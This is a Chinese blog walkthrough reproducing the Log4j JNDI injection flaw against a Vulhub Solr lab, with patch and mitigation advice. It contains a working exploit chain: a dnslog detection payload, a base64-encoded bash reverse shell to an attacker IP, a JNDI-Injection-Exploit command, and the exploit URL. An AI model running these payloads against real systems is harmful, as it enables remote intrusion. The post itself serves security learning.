apache log4j漏洞复现

log4j是开源的java存储日志的框架,一般都是大企业用,小企业自带的日志功能足够使用,Log4j2是默认支持解析ldap/rmi协议的,打印的日志中包括ldap/rmi协议都行。

具体介绍参考以下文章:

log4j2---基于vulhub的log4j2漏洞复现---反弹shell_繁华宛若浮云 - 致知学习-PC万里

log4j日志框架的使用_log4j是apache的一个开源日志框架,通过log4j我们可以将程序中的日志信息输出到控_浪里小白狼(鹤)的博客-CSDN博客

影响版本:apache log4j 2.2.0-2.14.1版本

防御:

1、升级到2.17.0版本以上

2、阻止使用JNDI来加载远程资源。适用于无法立即升级到修复版本在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。

3、在log4j2.xml文件中添加安全策略配置,启用安全策略来限制代码执行

4、清除受影响系统的缓存。通过清除 Log4j 的上下文选择器缓存来实现确保新的配置生效

log4j远程代码执行漏洞

搭建一个vulnhub靶场,靶场相关内容详见:

Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。https://vulhub.org/#/environments/Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。https://vulhub.org/

git clone https://github.com/vulhub/vulhub.git

找到log4j下面的漏洞目录输入

docker-compose up -d

如果docker-compose提示未找到命令需要安装一下,

参考文章:docker-compose安装-CSDN博客 或者Docker高级篇(DockerCompose详解)-云原生核心 - 知乎

可以看到漏洞已经启动

环境搭建好了:是IP:端口,本次使用的IP是134,端口8983,所以连接

jndi注入

JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念

漏洞探测

构造一个语句**${jndi:ldap://fe4f4071e4.ipv6.1433.eu.org./exp}在上面搭建的网站上面输入,如果有回显说明存在log4j漏洞。**

fe4f4071e4.ipv6.1433.eu.org.是用dig.pm构造的地址,

构造反弹shell

创建一个可交互的bash和一个到192.168.246.130:2333的TCP链接,然后将bash的输入输出错误都重定向到在192.168.246.130:2333监听的进程。

bash -i >& /dev/tcp/192.168.246.130/2333 0>&1 用base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx

其中130是接收的IP,2333是监听端口

用JNDI-Injection-Exploit工具

可以参考文章:Log4Shell漏洞学习 - 知乎

使用方法:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A " IP

命令是要对受害机执行的内容,比如本次是反弹命令,

IP是收集者的IP,

获取 jndi 工具开启ldap和rmi监听服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.246.130

工具安装参考:JNDI-Injection-Exploit工具安装-CSDN博客

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。简单从安全角度来看待JNDI就是Java中的一组接口,在其所支持的服务中最常用的就是RMI和LDAP服务。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

通过这两种协议可以使目标服务器加载远程Class文件,攻击者通过构造Class文件来达到RCE的效果

用得到的连接构造url语句

${jndi:rmi://192.168.246.130:1099/jkgiaz}

[http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz}](http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz} "http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz}")

kali监听反弹shell

相关推荐
雷神乐乐13 分钟前
File.separator与File.separatorChar的区别
java·路径分隔符
小刘|18 分钟前
《Java 实现希尔排序:原理剖析与代码详解》
java·算法·排序算法
jjyangyou22 分钟前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
逊嘘37 分钟前
【Java语言】抽象类与接口
java·开发语言·jvm
morris13144 分钟前
【SpringBoot】Xss的常见攻击方式与防御手段
java·spring boot·xss·csp
AltmanChan1 小时前
大语言模型安全威胁
人工智能·安全·语言模型
七星静香1 小时前
laravel chunkById 分块查询 使用时的问题
java·前端·laravel
Jacob程序员1 小时前
java导出word文件(手绘)
java·开发语言·word
ZHOUPUYU1 小时前
IntelliJ IDEA超详细下载安装教程(附安装包)
java·ide·intellij-idea
马船长1 小时前
红帆OA iorepsavexml.aspx文件上传漏洞
安全